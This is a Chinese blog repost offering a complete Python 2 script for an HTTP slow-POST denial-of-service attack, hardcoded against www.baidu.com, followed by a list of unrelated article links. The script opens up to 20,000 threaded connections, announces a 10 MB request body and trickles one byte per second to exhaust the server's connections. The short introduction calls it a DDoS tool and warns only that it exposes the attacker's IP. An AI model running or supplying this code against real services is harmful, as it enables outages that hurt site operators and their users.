博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Python基于http的ddos攻击代码
阅读量:6588 次
发布时间:2019-06-24

本文共 1266 字,大约阅读时间需要 4 分钟。

hot3.png

基于http的ddos,主要就是靠占用连接数达到攻击目标,但也非常危险,会暴露攻击者的ip,慎用

#!/usr/bin/env pythonimport socketimport timeimport threading#Pressure Test,ddos tool#---------------------------MAX_CONN=20000PORT=80HOST="www.baidu.com"PAGE="/index.php"#--------------------------- buf=("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n""Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE,HOST)) socks=[] def conn_thread():    global socks    for i in range(0,MAX_CONN):        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        try:            s.connect((HOST,PORT))            s.send(buf)            print "Send buf OK!,conn=%d\n"%i            socks.append(s)        except Exception,ex:            print "Could not connect to server or send error:%s"%ex            time.sleep(10)#end def def send_thread():    global socks    while True:        for s in socks:            try:                s.send("f")                #print "send OK!"            except Exception,ex:                print "Send Exception:%s\n"%ex                socks.remove(s)                s.close()        time.sleep(1)#end def conn_th=threading.Thread(target=conn_thread,args=())send_th=threading.Thread(target=send_thread,args=()) conn_th.start()send_th.start()

 

转载于:https://my.oschina.net/moodlxs/blog/802523

你可能感兴趣的文章
VS不能设置断点可能的一个原因
查看>>
iscsi网络存储服务
查看>>
DB2递归查询
查看>>
多个生产者多个消费者,只有5个包子
查看>>
Yaf 路由问题
查看>>
Haproxy配置http模式负载均衡
查看>>
面向对象
查看>>
UIPageControl 分页
查看>>
failed: Can’t locate DBD/mysql.pm的解决办法
查看>>
C#二进制流的序列化和反序列化操作
查看>>
XIB的是用
查看>>
ORACLE 10G RAC 10.2.0.5 删除节点
查看>>
PHP连接MongoDB
查看>>
Learning Data Structure_2_线性表、栈和队列
查看>>
JavaFx系列(二) Thread顯示進度窗的對話框
查看>>
Servlet获取全路径
查看>>
BAT频繁与移动医疗挂钩 预示行业即将爆发?
查看>>
我的友情链接
查看>>
制作JD的手动和自动轮播图片板块
查看>>
SQLite第九课 sqlite3_set_authorizer案例
查看>>